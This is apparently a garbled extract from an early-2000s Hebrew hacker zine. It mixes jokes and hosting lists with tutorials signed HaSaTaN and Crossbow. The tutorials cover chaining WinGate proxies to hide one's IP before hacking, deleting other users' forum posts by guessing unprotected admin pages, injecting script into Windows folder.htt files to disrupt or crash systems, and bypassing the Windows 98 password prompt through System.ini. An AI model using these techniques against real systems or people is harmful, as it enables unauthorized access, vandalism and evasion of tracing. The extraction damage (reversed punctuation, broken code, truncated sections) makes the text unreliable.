המתאבד -עמית אבד הרגוע -בני חותה
התאורנית -אורנה מוך הברמנית -סימה שקה
הדוגמנית הערביה -עלילה מסלול המזכירה -אתי פרון
מנהלת בית-אבות -גילה עמידה המאפרת -תיקי פור
המנומס -בני מוס הספרנית -סימה ניה
האלחוטנית -רות עבור המטומטם -אידי יוט
רופאת השיניים -חני חיים השוטר -סמי סביב
נוסע במונית -סימון נה וחברו -שימחה גורה
המזכירה -אתי פרון המצילה -אניטה ואטי
הפסיכולוג -מוטי וציה הטייסת -בטי סקלה
העקום -אסי מטרי מלכת היופי -מיה פבה
362
המציל -לוליק פוץ
הנחנק -פיני סתם
הערבי המסומם -בסאם שקע
השיכור -מישה תלי
פועלת הבניין -מרי צה
הקצב -עזרא צחתי
ואשתו -עופרה צחתי
הפושע -בני גודלחוק
הבנקאי -תמיר ליפרנק
הגניקולוג -פינקוס
המלצר -שימחה מוצים
רופאת השיניים -חני חיים
הפסיכולוגית -עלמה נדבר
הבטוחה בעצמה -אלה מה
הליצן -מוקי יון
המקשקשת -שיר בוט
האצן -ברי צקלה
הירקן האתיופי -נגאתה בגמבה
הארכיאולוג -מיכה פר
הארכיאולוגית -ראומה מצאתי
המכוערת -מאיה פבה
הקצרנית -בקי צור
הרגועה -לולה חוץ
המסכן -בועז רולי
התקליטן -עדי ג'יי
וחבר שלו -איתן מיך
התקליטנית -שירה חרון
המלצר -מתי רצו
וחברו -מתי שתו
שחקן הכדורסל -טים סרולי
חברו לקבוצה -מיקי דרר
הכדורסלנית -בקי דרור
הפסיכולוגית -עלמה נדבר
הקוסמטיקאית -מרי טה
הקוסמטיקאי -מניקור
האסמתי -אלון נושם
המלצר -שימחה מוצים
הנהג -מוטי לוכים
רופאת השיניים -מרי דול
שחקן הכדורגל -בני בדל
מר עולם -מיכה זק
Program44 המכוערת -יפה לולה
שרתים שמחזיקים אתרים בחינם
http://members.nana.co.il/userחמש מגה בית בלי פרסומות
admin/php
http://www.magicpage.co.ilעשר מגה
FTP http://angelfire.lycos.com
חמישים מגה בית ב
363
חמישים מגה בית בFTP http://free.prohosting.com
50 M עם פרסומתhttp://www.50megs.com
20M http://www.doteasy.com
20M עם פרסומותhttp://www.freeservers.com
5M פרסומות קטנותhttp://www.geocities.com
500M עם פרסומותhttp://www.gizba.com
50 M http://www.microworld.com
100 M http://www.netcolony.com
FTP - 50 M עם פרסומותhttp://www.tripod.lycos.com
FTP - 50 M http://www.virtualave.net/
364
ain.htm
HFM
HFM
טיל מים
דבר ראשון לפני שנתחיל אני רוצה להגיד תודה לג' .שהסביר לי איך לבנות את טיל המים
האכזרי הזה.
שימו לב כל מה שכתוב פה נכתב מילה במילה ממה שג' .אמר לי ולכן הכל פה הוא אמיתי
והגיוני ביותר.
נ.ב -אני גם הוספתי פה מלה או שתיים אז יכול להיות שאלה טעויות שלי .אבל הם לא חיוניות
לבנייה אז אל תדאגו ):
365
אז יאללה לעבודה.
חומרים:
.1בקבוק 1.5ליטר.
.2פקק שהם.
.3מים.
.4סיכת ניפוח כדורים (או אופניים ,זוהי אותה הסיכה ככה שזה לא משנה).
תהליך הבנייה:
לוקחים פקק שעם שסוגר הרמטית את הבקבוק ותוקעים בו סיכה של ניפוח כדורים עד שהיא
יוצאת מהצד השני (של הפקק).
סוגרים את הבקבוק עם הפקק ממש חזק ,מחברים את הסיכה למשאבת אופניים או משאבה
של מכונית ,מכוונים ומתחילים לנפח.
אחרי כמה שניות הבקבוק ישגר את עצמו בצורה חזקה למדי( .זה עף יותר גבוה מהבית שלי).
ממה להיזהר:
תעשו לי אישית טובה תשתדלו לא להיות טפשים ולכוון את הבקבוק לעצמכם לפנים.
HaSaTaN
WinGates
א .מצרכים:
366
ב .מה זה בעצם ?WinGate
WInGateהוא בעצם חבילה של :שרת proxyושל firewall :מתוחכם ,כמו שניתן להתחבר אל
שרת Proxyכך ניתן להתחבר גם לשרת !WinGateהחיבור יכול להיות מכל סוגDial-Up :
רגיל ,ADSL ,וכמובן ,ISDN, T1, DISHוכו'.
ג .למה לי להשתמש בזה בכלל?
לאחר שתתחבר לשרת ה WinGate -תוכל להתחבר לכל אתר ולכל רשת( ,עכשיו אתם
שואלים ):אבל אני יכול לעשות את זה גם מהמחשב שלי ,מה windos shell -שלי!!??
אז ככה ,נכון ,באמת זה לא ההבדל ,ההדבר האמיתי שחיוני ב WinGate -זה "הסתרת הIP -
שלך" .כשאתה מתחבר לשרת WinGateומישהו עוקב אחריך ...הוא יראה רק את האי פי של
שרת ה !WinGate -לכן לפני כל דבר שעושים שקשור להאקינג ,חשוב להתחבר לשרת
!WinGate
הבעיה העיקרית היא ,זה שיש שרתים שרושמים log'sשלך ,ושם כן (!!) אפשר למצוא את ה-
IPהאמיתי שלך (!!) ,אז מה שעושים זה מתחברים לכמה שרתים ביחד ,זה מבלבל את ה-
!LOG'S
ד .איך מתחברים לזה?
הערה
הערה:
יש לוודא שב terminal -> prefereces :מסומן ב V -האפשרויות הבאות:
Loacl Echo
Block Cursor
וליד זה:
VT\100 ANSI
עכשיו ,אחרי שהתחברתם יופיע לכם הדבר הבא:
<WinGate
זהו ,אתם מחוברים ל Wingate -אחד ,בשביל להתחר לעוד ,פשוט כתבו את מספר ה IP -של
ה WinGate -הבא ,כך:
WinGate<124.103.43.5
והוא התחר לעוד אחד ,וכך הלאה ,תוכלו להתחבר למאות !! WinGates
367
עכשיו ,שימו לב ,מה קרה כשהתחברנו ל ,A -אתם צריכים לזכור שרק Aיודע את ה IP -שלנו,
- Bיודע רק את ה IP -של ,Aו C -יודע רק את ה IP -של ,Bככה שככל שאתם מתחברים
ליותר - WinGatesכך יהיה יותר קשה לעלות עליכם!
אני אישית ממליץ לכם שלא להתחבר ליותר מ( 6-גם זה נקרא די הרבה) כי זה יאט לכם את
האינטרנט (תקראו את הכתבה על ...)Proxies
המחשב שלך >-ספק האינטרנט שלך >-שרת >- 1שרת >- 2שרת >- 3שרת >- 4שרת 5
>-שרת >-6הקרבן...
כל אחד מהשרתים הוא שרת ,WinGateוכל שרת יודע רק את ה IP -של השרת שמאחוריו.
אוקי ,אז כך ,בשביל זה יש את ה ,Wingate Sanner 2.2 -בפעם אחרונה שהורדתי אותו
(מזמן )....הוא היה פה:
http://www.hotmanscave.com/filez/filez.html
אל תתפסו אותי על המילה ,מקסימום תחפשו בגוגל!
ישנה עוד שיטה מפורסמת והיא ,להיכנס לאחד מהחדרים של Dal-netולחפש חדרים טובים
של האקינג ,לכו לאופים שלהם ,תעשו אליהם (תישרו לשמאל):
>dns <nick/
ומה שתקבלו -קרוב לוודאי יהיה כתובת IPשל שרת WinGateכלשהו...
שיטה חמודה ,לא?
אה קיצקץ ,תעשו מה שבא לכם בחיים ,תשימו פס על כוללללם!
HaSaTaN
פריצה לפורומים
פריצה מתקדמת לפורומים:
טוב ,היום נלמד פריצה מתקדמת לפורומים .כשאני אומר פריצה מתקדמת לפורומים
אני לא מדבר על מציאת שם מסד הנתונים והורדה שלו (כי בדרך כלל האדמין של
הפורום משנה את שמו של מסד הנתונים) ,אני גם כמובן לא מדבר על באגים אצל
פורומים שאפשר להכניס בהם קודי Htmlכמו למשל פורומי דיבורים .מה שאנחנו
הולכים לעשות זה שימוש בפרמטרים מסויימים .עד היום לא נמצאה דרך מלאה
לאבטח את זה ,אבל זאת סוג הפריצה הכי מקצועית לפי דעתי לפורומים .שוב אני
368
רוצה להזכיר לכם שכאן ייכתב טקסט שיוכל לתת לכם הרבה כוח וידע .בידע הזה
תוכלו להשתמש באופן רע (התלהבות על כל הפורום שפרצתם אותו) ,או שימוש טוב
בידע הזה (הודעה לאדמין על הדרך שבה אפשר לפרוץ והצעה לאבטח לו את הפורום
בלי בקשת תמורה) .אני ממליץ לכולכם על האפשרות השנייה ( ,)White Hatבגלל
שהסיכוי שיכעסו עליכם הוא קטן יותר (וכך גם הסיכוי שתחטפו תביעה או איזה
צו מעצר אפילו) .להיות White Hat Hackerזה גם עם יותר כבוד לפי דעתי,
ובנוסף לכל להיות White Hat Hackerנותן שם טוב לכל ההאקרים ,בניגוד לכמה
האקרים שהם ,Black Hatשמוציאים שם רע להאקרים .אני ממליץ לכולכם להשתמש
במידע כאן בשביל מטרות טובות ולא רעות .טוב ,בואו נתחיל!!!
כדי לנסות ולפרוץ לפורום ,אנחנו צריכים קודם כל להבין איך הפורום בנוי.
טוב ,רוב הפורומים בנויים בשפת ( Aspצד שרת .)Active Server Pages :ישנם
גם פורומים שבנויים בשפת Phpשהיא גם צד שרת ,אבל הפורומים האלה מעטים.
היום אנחנו נתבסס על פורומים בשפת .Aspטוב ,אז איך בנוי הפורום? הפורום
בנוי מתקשור עם מסד נתונים (אבל איתו לא נעסוק היום) .החלק שנעסוק בו הוא
עיבוד הטפסים על ידי דף .Aspטוב ,הדף הופך את הטקסט הנתון בתוך אובייקט
מסויים למשתנה ,שנכנס לדף Aspבתור פרמטר .בואו נחשוב שאנחנו בפורום.
בפורום זה יש נושאי פורומים ,כמו למשל :מוזיקה ,סרטים ,מחשבים והכרויות.
עכשיו ,כל נושא פורום כזה מקוטלג לפי מספר .זה יהיה הפרמטר הראשון .טוב,
עכשיו נחשוב על נושא ההודעה שנשלחה .נושא ההודעה גם מעובד בדף ,Aspולכן
גם הוא פרמטר .עוד פרמטר אחרון שנעבוד עליו הוא מספר העמוד (מכיוון שיש
נושאים עם תגובות שעולות על הגובה המקסימלי של דף מסויים ,לפעמים ישנם
נושאים שתופסים יותר מעמוד אחד) .טוב ,שלושה פרמטרים ,כל אחד מהם מקוטלג
לפי מספר .עכשיו נעבור להשגת המידע על כל אחד מהפרמטרים.
טוב ,עכשיו נשתמש במה שאנחנו יכולים לראות בשביל השגת המידע .התהליך מאוד
פשוט :כאשר אנחנו נכנסים לדף הראשי ,אנחנו רואים את ארבעת הפורומים (אני
עדיין משתמש בנושאי הפורומים הקודמים :מוזיקה ,סרטים ,מחשבים והכרויות).
עכשיו ,נגיד שאני רוצה לדעת מה הפרמטר של נושא הפורום מוזיקה .עכשיו ,כל
מה שצריך לעשות זה לקחת את העכבר ,ללחוץ לחיצה ימנית על הקישור ,ולראות
את הפרמטר על ידי לחיצה על מאפיינים .אם הכתובת של הפורום שלנו היא
,http://www.forum.co.ilאז כנראה אנחנו נראה לינק כזה שיהיה כתוב בו:
.http://www.forum.co.il/ShowTopic.asp&ForumID=1תסתכלו במילים האחרונות
בקישור .ForumID=1 :הפרמטר הראשון שלנו נקרא ,ForumIDובמקרה הזה אנחנו
יודעים שפורום מוזיקה מיוצג על ידי הערך .1טוב ,נעבור הלאה .עכשיו לאחר
שנכנסנו לפורום ,נבדוק את ההודעה .למשל ,בפורום מוזיקה יש נושא הודעה :מי
אוהב את מטאליקה? עכשיו ,נעבוד על אותו עקרון ,אנחנו נלחץ לחיצה ימנית
ונראה לאן הקישור מוביל .נסתכל שוב ונראה פרמטר שאומר למשל .TopicID=88
זהו נושא ההודעה שלנו .אותו דבר עם העמוד .PagePos=1 :עכשיו ,כשיש לנו את
כל הפרמטרים הנכונים ,אנחנו יכולים להתחיל עם הקטע הקשה.
תוכן הפריצה
עכשיו ,לכל פעולה בפורום יש דף Aspשמבצע אותה .עכשיו ,הקטע המבאס באמת
זה שצריך למצוא את הדף .עכשיו ,בדרך כלל ,אם אנחנו רוצים למחוק את ההודעה
אבל הפרמטר היה ,ShowTopicהמחיקה של ההודעה תהיה בדרך כלל .DeleteTopic
עכשיו ,למשל אנחנו רוצים למחוק את הודעת הדוגמא מקודם .כדי להציג אותה:
.http://www.forum.co.il/ShowTopic.asp&ForumID=1&TopicID=88&PagePos=1
עכשיו ,זה הקישור להצגה של ההודעה .הדף הוא .ShowTopic.asp :כדי למחוק:
369
.http://www.forum.co.il/DeleteTopic.asp&ForumID=1&TopicID=88&PagePos=1
זה בתנאי שדף המחיקה הוא .DeleteTopic.aspעכשיו ,אני אתן לכם כאן רשימה
של פעולות והדפים שבדרך כלל מבצעים אותם:
הצגת הודעה
מחיקת הודעה
עריכת הודעה
Crossbow
370
\MY COMPUTER\HKEY_CURRENT_USER\Software\Microsoft\Windows
CurrentVersion\Applets\Freecell
ואז לוחצים פעם אחת על התיקייה .Freecellמצד ימין צריכים להיות תויות עם
ערכים מסויימים .התוית " "lossesמסמנת הפסדים רצופים .זה יראה משהו כמו
ארבעה אפסים ,ואז מספר בעל שני ספרות ,ואז עוד שני זוגות של שני אפסים.
נגיד ,אם יש לנו 7הפסדים רצוף ,אז זה יהיה .0000 07 00 00 :לחצו פעמיים
על התווית .לחצו פעמיים על הזוג של ההפסדים ( ,07במקרה הזה) .כתבו ,למשל,
09ואז תלחצו על כפתור " ."OKפתחו מחדש את פריסל ,ותלכו לסטטיסטיקה ...יש
לי פה בעייה ,שמעשר ומעלה זה מסובך יותר .עשר מסומן כמו ארבעה אפסים ,זוג
של מספרים ואותיות (אפס ,)A +ואחרי זה שלישייה של זוגות אפסים .כדי לסמן
אחד עשרה ,צריך להפוך את Aלאות ,Bוכן הלאה ...טוב ,בואו נעבור תווית.
התווית " "winsזה מספר הנצחונות הרצופים ,ופועלת כמו התווית הקודמת .טוב,
זה מספיק בשביל להשוויץ לחברים שלכם ולהגיד שאתם אלופים בפריסל ...פחח...
הערה אחרונה :בתור מתכנת מנוסה ,אני רוצה שכל מי שקורא שיבין משהו :כאשר
המשתמש יוצא מתוכנה ,כל המידע הנוכחי נאבד ,כי מידע לא מרחף סתם ככה...
אז נגיד ,כשאנחנו יוצאים מווינאמפ ,יש לנו רשימת שירים ,ובאופן מפתיע יש
את אותה רשימה כשאנחנו פותחים ...איך זה קורה? המידע חייב להשמר .השאלה
היא ,איפה? והתשובה היא בתוך קובץ!!! אם תשימו לב ,בתיקייה שבה ווינאמפ
מותקן ,יש קובץ ששמו ,winamp.m3uשזאת הרשימה האחרונה ...אם אתם לא
מאמינים ,נסו לפתוח עם notepadאת הקובץ ...תהיה לכם הפתעה ...עכשיו ,אם
תחשבו טוב ,כל משחק עם טבלת שיאים ,כל מידע שנטען בזמן הפעלה ,הכל נמצא
בתוך קובץ!!! פשוט צריך להתחיל לחטט ולבדוק ...אם יש משהו שלא בתוך קובץ,
אז האופצייה השנייה היא הרג'יסטרי .עושים חיפוש אוטומטי ,ומשחקים קצת...
אבל להזהר מאוד עם רג'יסטרי ,טעות אחת קטנה והלך המחשב...
Crossbow
באג ב WINDOS
עוד באג שמצאתי במערכות ,Windowsהפעם יצירת קובץ בלי שם .אני עובד כרגע
על מערכת ,Windows 98אבל הצלחתי גם על מערכת ,Windows 95ואני מאמין
שיעבוד על כל גרסאות ...Windowsטוב ,בואו נתחיל ...פותחים את הנוטפאד של
חברת ( Microsoftעושים "התחל"" ,הפעלה" ,כותבים " "Notepadולוחצים אנטר).
עכשיו ,כותבים את תוכן הקובץ (כך שאתם מבינים שבדרך כלל קבצים חסרי שם
יהיו .)Plain Textעכשיו ,אחרי שכתבנו ,נלחץ על "קובץ" ,ואז על "שמור".
371
נכתוב בשם הקובץ רק את הסיומת של הקובץ (נקודה txtלמשל) .ותראו ,אין שם
לקובץ!!! דרך אגב ,הבאג עצמו הוא לא רק בתוך ,Notepadאלא בכל תוכנית
שבעצם משתמשת בפקד ,Microsoft Common Dialogשנמצאת בקובץ ,Comdlg32.ocx
יעני אפשר להשתמש בו בעצם בכל תוכנית ששומרת על ידי תיבת דו שיח של מערכת
( Windowsוזה ברור שדווקא למערכת Windowsיהיה באג כזה!!!) .טוב ,אם יש
לכם בעיות ,או סתאאאאאאאם בראש שלכם לדבר ,איומים 24שעות ביממה ייתקבלו
בסבבה לאייסיקיו .שלכם,
Crossbow
C:\Windows
C:\Windows\System
C:\Windows\System32
372
C:\Program Files
היום אנחנו נעבוד עם התיקייה האחרונה ברשימה ,הלא היא .Program Filesאתם
תצטרכו את הדברים הבאים כדי להבין מה עושים כאן:
מתחילים
דבר ממש מגניב שיש במערכת ,Windows 98היא שהיא בנוייה כמו דפדפן אינטרנט
כדוגמת .Internet Explorerממש ,יש שורת כתובת ,יש לחצנים מפגרים כדוגמת
לחצן "הבא" .עכשיו ,המבנה לא רק מזכיר דפי אינטרנט ,הוא באמת דפים שנכתבו
בשפת !!!Htmlעכשיו ,מכיוון ששפת Htmlלא דורשת שום קימפול ויש לה קוד
מקור פתוח ואפשר לשנות שם את הכל ,נעשה את הדבר הבא :נלך לתפריט "התחל",
נשים ת'עכבר על "מאפיינים" ,ומשם נעבור למאפיין "אפשרויות תיקייה" .טוב,
עכשיו נלחץ על הכרטיסייה השנייה (שעליה כתוב "מראה" נראה לי) ,ואז נסמן
את האופצייה של "הצג את כל הקבצים" .סבבה ,עכשיו ,ניקח את העורך של שפת
Htmlשלנו (אבל למי שאין יכול להשתמש בפנקס כתובות של וינדוס ,)...ובעצם
לפתוח את הקובץ הבא בתוך העורך שלנו:
C:\Program Files\folder.htt
עכשיו ,הקובץ נראה ככה (בערך ,לי יש מערכת Windows 98אנגלית ,)...אז אני רציתי להראות
לכם את הקוד מקור אבל זה עושה בעיותאז תראו לבד
פשוט מאוד! כל בנאדם יכול ישר לראות פה דרך לניצול מגניב לאללה!!! אפשר
לעשות משהו כמו לשים לולאות אינסופיות ,לשים אלרטים ,והכל על ידי עריכת
קובץ ושמירה!!! אשכרה אפשר לרסק לבנאדם ת'מערכת על ידי עריכה של הקובץ
הזה!!! בקיצר ,אני ארשום את כאן את השורות הראשונות של הקובץ ,אבל הפעם
עם שינוי קטן שהוספנו:
<!--
* This file was automatically generated by Microsoft Internet Explorer 4.0
* using the file %THISDIRPATH%\folder.htt (if customized) or
* .)TEMPLATEDIR%\folder.htt (if not customized%
>--
<>html
373
link rel=stylesheet href="%TEMPLATEDIR%\webview.css"<
>"title="Windows
>head<
>-- allow references to any resources you might add to the folder --!<
>-- )a "webbot" is a special wrapper for FrontPage compatibility( --!<
>-- webbot bot="HTMLMarkup" tag="base" startspan --!<
>"\%base href="%THISDIRPATH<
>-- webbot bot="HTMLMarkup" endspan --!<
>"script language="JavaScript<
the next line is the ONLY difference from folder.htt //
;)"!alert ("hacker has been here
= "<b><font var L_Intro_Text
color=red>Warning</font></b><br><br>Modifying the contents of this folder
may cause your programs to stop working correctly.<br><br>To add or remove
programs, click Start, point to Settings, click Control Panel, and then click
;".><b>Add/Remove Programs</b
סיימנו
תעלה, מה שעשיתי מקודם היא שכל פעם שמישהו ייכנס לתיקייה,למי שלא הבין
אני מאמין שאין בעייה, בקיצר...Crossbow has been here איזו הודעה שתגיד
הנה עוד באג אחד במערכות וינדוס, אז יאללה.לחשוב כאן על עוד אפשרויות
, שלכם...שאפשר לנצל
Crossbow
374
נקודות תורפה מסויימות .התוכנה הזאת מבצעת את אותם הדברים שאותם מבצעים
האקרים כדי לפצח מערכות ,אלא שבמקום לנצל את נקודת התורפה של המערכת ,היא
רק מדווחת על החור אבטחה Satan .מדווחת על פגמים בשרתים עבור הפרוטוקולים
Ftp, Finger, Nis, Nfs, Rexdועוד .בדרך כלל הפגם הוא בסך הכל קובץ תצורה
שנבנה בצורה גרועה ,אבל לפעמים הפגם הוא חור אבטחה או באג .ביחד עם Satan
באים גם דפי הדרכה שמסבירים בדיוק על סוגי נקודות התורפה שניתן לנצל ,וגם
איך ניתן לתקן אותן .פה זאת הבחירה שלכם .אני בטוח שכשהתחלתם עם האקינג,
רובכם חשבתם לעצמכם "אז נראה כמה טריקים לחברים שלי ונלך" .אז זהו ,שלא.
זה כבר לא משחק .זה האקינג אמיתי ומסוכן ,שיכולים לתפוס אתכם .אז תיקחו
חמש דקות ,ותחשבו טוב טוב על איזה האקרים אתם רוצים להיות .אתם יכולים
להיות האקרים מניאקים (שחורים) שפורצים למערכת ודופקים לה ת'צורה .אתם גם
יכולים להיות האקרים טובים (לבנים) שמגלים באג במערכת ,ומתקנים אותו או
מודיעים עליו לאדמין .אני ממליץ על האפשרות השנייה ,כי זה נותן שם טוב
להאקינג ,זה מראה שאנחנו לא מתלהבים מעצמנו יותר מדי .אחרי שהחלטתם מה
תעשו בתור האקרים ,אתם יכולים להמשיך.
אזהרות לתוכנה
Satanנבנתה בשפות Perl 5.0ושפת .Cאל תיקחו מאף אחד את התוכנה היישומית
כי כל אחד יכול להשתיל בה וירוס .תורידו את הקוד מקור ותקמפלו בעצמכם.
התוכנית היא תחת רשיון ,Gnuיעני ,אתם יכולים לעשות בקוד מקור הכל ,כל
עוד אתם לא משתמשים בו למיסחור (יעני ,לעשות כסף) .יש כמה מערכות ברחבי
הרשת שכוללות אזהרות נגד פולשים והפעלה של Satanברשת עלולה להפעיל את
האזעקות האלו ,אז תיזהרו.
להוריד את זה
טוב ,תיזהרו עם זה ,ועוד עצה אחרונה :תסתכלו בקוד המקור של התוכנה ,הוא
אומר המון!!! שלכם,
Crossbow
תיקיות סודיות
אהלן ,מה המצב? היום נלמד איך להסוות את כל הגליונות האקינג שהורדתם ,את
כל הסרטי סקס ,את כל אלה ,להסתיר מהורים ואחים מעצבנים .תיצרו תיקייה
חדשה .עכשיו ,נקרא לתיקייה ככה (קונטרול ושיפט):
375
}TheName.{0003000E-0000-0000-C000-000000000046
עכשיו ,ברגע שקבענו את השם הנ"ל ,יווצר לכם קובץ מדייה חדש בשם .TheName
טוב ,עכשיו הסברים :את השם אתם יכולים להחליף לכל דבר שאתם רוצים .אני
רוצה לדבר על המספר בין הסוגריים המעוקלות .עכשיו ,וינדוס מחלק כל סוג
קובץ למספר דרך הרג'יסטרי .מספר זה הוא תג הזיהוי של אותו שם קובץ ,הקרוי
.ClassIDעכשיו ,המספר שלמעלה בין הסוגריים המעוקלות הוא "מדייה" .אפשר
לחפש עוד מספרים לסוגי קבצים שונים ,בתוך הרג'יסטרי ,במיקום הבא:
My Computer\HKEY_CLASSES_ROOT\CLSID
בקיצר ,כדי לדעת מה כל מספר הוא ,אפשר ללחוץ פעם אחת על המספר ,ואז בצד
שמאל כתוב את התיאור של הקובץ .בקיצר ,כדי לפתוח את התיקייה ,אתם נותנים
לחיצה ימנית על התיקייה המוסוות ,ואז אתם רואים שיש שני מקומות שבהם יש
את המילה "פתח" .יש "פתח" מודגש (שהוא הברירת מחדל) ,ויש "פתח" רגיל.
לחצו על האפשרות של "פתח" הרגיל ,ואתם בפנים .אתם יכולים להדביק קבצים
לתוך התיקייה .הגודל של הקובץ במאפיינים יהיה הגודל של תוכן התיקייה ,כך
שיכול להיות שיהיה לכם פתאום קובץ מדייה (מזוייף ,הוא תיקייה!!!) ,שבעצם
יהיה בגודל של 300מגה בייט ...שלכם,
Crossbow
376
על הפעלה ,תכתבו שם SndVol32ותלחצו על אנטר .עכשיו ,תלחצו על תפריט ששמו
"אפשרויות" ,ואז על "מאפיינים" .בחלק השני של החלון שנפתח לכם ,כתוב את
המשפט "התאם עוצמה עבור" ,ואז יש שלוש אופציות :השמעה ,הקלטה ואחר .תלחצו
על הקלטה ,ואז על אישור .עכשיו ,יש את כל ההתקנים של ההקלטה במחשב שלכם.
תלחצו על ההתקן ,Mixed Outputכך שליד המילה "בחר" יהיה סימן וי קטן.
עכשיו אתם יכולים כבר לסגור את החלון .תיכנסו לתוכנת הקלטה שלנו .תלחצו
על הסימן של ההקלטה ,ואז חכו שישים שניות בלי לפתוח אף חלון חדש ,או לנגן
משהו על המחשב .עכשיו ,אחרי שהשישים שניות הסתיימו ,תלחצו על תפריט עריכה
ואז על "העתק" .עכשיו עוד פעם על תפקיט עריכה ,ואז על "הוסף והדבק" .חזרו
על הפעולה כמה פעמים שרצוי לכם ,והפלא ופלא ,יש לנו כלי שעוקף את ההגנה
המפגרת של וינדואוז ...ביל גייטס ,תאכל חרא ,שני מליון זבובים לא טועים!
אז יאללה ,תהנו .שלכם,
Crossbow
377
מכירים את הקטע הזה שפתאום השולחן עבודה נתקע ,ואז הוא הופך לצבע לבן ויש
אפשרות לשיחזור השולחן עבודה? אז יש אפשרות לערוך אותו .הסבר קצר :במערכת
וינדואוז 98השולחן עבודה מתפקד כמו דף אינטרנט .טוב ,אנחנו נצטרך כמה
דברים בשביל זה .דבר ראשון אנחנו צריכים עורך דפי אינטרנט .אני מדבר פה
כמובן על עורך מקצועי ,כמו אדית פלוס ,לא מספיק הכתבן של הוינדואוז .טוב,
תפתחו את העורך הזה .תיפתחו את הקובץ הבא:
C:\Windows\Web\Safemode.htt
עכשיו אתם תראו כל מיני שטויות באנגלית ויכול להיות שגם בעברית .טוב ,הנה
הדבר השני שאנחנו צריכים :קצת ידע בתיכנות דפי אינטרנט ,או בקיצור אחד:
שימוש בשפת !!!Htmlתתכנתו את זה למה שבראש שלכם .אני ממליץ בחום לכתוב
איפה שהכותרת הגדולה "ביל גייטס ומייקרוסופט הכלבים" ,או משהו בסגנון.
טוב ,זה די לחובבנים .תלחצו לחיצה ימנית על קובץ כלשהו במחשב שלכם .קדימה
נו ,לא ייקרה לכם כלום .תעלו עם העכבר על "שלח אל" .יפתח לכם תפריט קטן
בצד .טוב ,עכשיו תצאו מהתפריט הזה ,ותיכנסו באלגנטיות לתיקייה הבאה:
C:\Windows\Sensto
עכשיו תוסיפו קישור לאיפשהו .אם אתם לא יודעים לעשות קישור :תחזרו לגן.
טוב ,עכשיו ,אחרי שהוספתם קישור ,תצאו מהתיקייה ,תלחצו על הקובץ המטומטם
שעליו לחצתם קודם ,ותיכנסו לתפריט של "שלח אל" .יופי ,עכשיו ,למרבה הפלא
יש לנו את האפשרות לשלוח לאיפה שבא לנו.
הפעלה מהירה
טוב ,גם זה לרמה נמוכה .ליד תפריט "התחל" יש משהו שנקרא הפעלה מהירה ,שבו
בדרך כלל יש את הסמל של השולחן עבודה ,לידו אינטרנט אקספלורר ולידו האי
מייל .טוב ,כדי להוסיף לשם משהו פשוט תוסיפו קישור שיהיה בתוך התיקייה:
C:\Windows\Application Data\Microsoft\Internet Explorer\Quick Launch
וכמובן ,אפשר גם למחוק וכאלה...
טוב ,את זה גיליתי כשהייתי צריך לשנות משהו בהגדרות .תפתחו את הקובץ הבא:
C:\Windows\System.ini
הקובץ הזה מאוד מועיל בכלל ,דרכו גילו גם את נפלאות קובץ הסיסמאות של כל
המערכת .אם תחפשו טוב תראו שורה שמראה איפה הקובץ סיסמאות נמצא .אפשר גם
לפתח את הרעיון ולהפוך את זה לעוד אחת מדרכי הפריצה למערכת וינדואוז
שמבקשת סיסמא :נכנסים לאם אס דוס ,דרך הבחירה של מייקרוסופט ,ואז כותבים
EDIT C:\Windows\System.ini
ואז משנים את המיקום של הקובץ למה שרוצים .טוב ,בואו נחזור לשומר מסך.
תחפשו בתוך הקובץ איני שפתחנו מקום שבו שכתוב משהו כזה ,תלוי בשומר מסך:
\SCRNSAVE.EXE=C:\WINDOWS\SYSTEMאובייק~SCR.1
ופשוט תשנו למה שאתם רוצים .אני ממליץ לחקור את הקובץ איני הזה ,הוא מאוד
טוב לקראקינג של וינדואוז ,ואחרי שבוע כבר תהיו מומחים באיך הוינדואוז
עובד .טוב ,אז כאן נגמר הטקסט .שלכם,
378
התחל ,ואז על הפעלה ( .)Runתכתבו שם regeditותלחצו על אנטר .הופיע לכם
עורך הרג'יסטרי .מי שלא יודע מה זה רג'יסטרי ,שילך לכתבה של הפריצה למשחק
פריסל ...פחחחחחחח ...לא קראתם? תתביישו! טוב ,עכשיו לכו למקום הבא:
\My Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
קצת ארוך ...אז מה? אז מה? אז מה?!!! טוב ,תלחצו פעם אחת על ...SHOWALL
מצד ימין נפתחו לכם כאלה סימנים מטומטמים שאני לא יודע איך הם נקראים
בעברית ...לחצו פעמיים על .Textמתחת לאופצייה Value Dataתכתבו משהו...
נגיד ...תכתבו :הצג את כל הקבצים המחורבנים האלה ...פחחחחחחח ...יופי.
עכשיו ,תלחצו על התחל ,לכו להגדרות ,ואז לאפשרויות תיקייה .תבחרו למעלה
את הכרטיסייה של תצוגה .תרדו למטה עד הסוף ,ואז תראו מה כתוב ...פחחחח...
יש עוד דברים כאלה ...אפשר לשנות את התיקייה NOHIDDENאו את התיקייה
...NOHIDORSYSלשנות רק את הערך של !!!Textכל השאר מסוכן מאוד!!!
עוד שינוי מגניב הוא הגדרות מחשב ...טוב ,בעורך הרג'יסטרי כנסו לתיקייה:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\FS Templates\Desktop
לחצו פעם אחת על התיקייה .Desktopבחרו מימין את הסמל ( .)Defultתלחצו
פעמיים על הסמל הזה .תכתבו במקום "מחשב שולחני" ,נגיד" :מחשב מגניב".
עכשיו ,נכון שבשולחן העבודה יש את הסמל של המחשב שלי? תלחצו עליו פעם אחת
אבל לא לחיצה רגילה ,אלא לחיצת תפריט ,לחיצה על החלק הימני של העכבר.
עכשיו תבחרו את כרטיסיית ביצועים (הכרטיסייה האחרונה) .תלחצו על מערכת
קבצים .עכשיו ,איפה שכתוב "התפקיד האופייני של מחשב זה" יש רשימת בחירה.
מה כתוב? אז מי המלך? מי המלך? מי זה ?Crossbowמי? הא? המלך!!! סתאאם.
עכשיו ,נגיד מישהו דפק לעצמו את המחשב ולא יודע איך לצאת מזה ,או שסתם
אנחנו לא אוהבים את כל השינויים שעשינו .מה עושים? עושים כיבוי ,אבל לא
רגיל ,אלא כיבוי במצב .Ms-Dosתכתבו במסך השחור ( )Ms-Dosאת המילים:
Scanreg /restore
ואז תלחצו אנטר .תבחרו תאריך לשחזר ממנו את הרג'יסטרי שלכם ,בעזרת מקשי
החיצים ,ואז תלחצו אנטר .ואז הרג'יסטרי ישוחזר...
כן ,כן ...אני יודע שכבר חצי עולם מכיר את זה ...אז מה? טוב ,הנה הטריק:
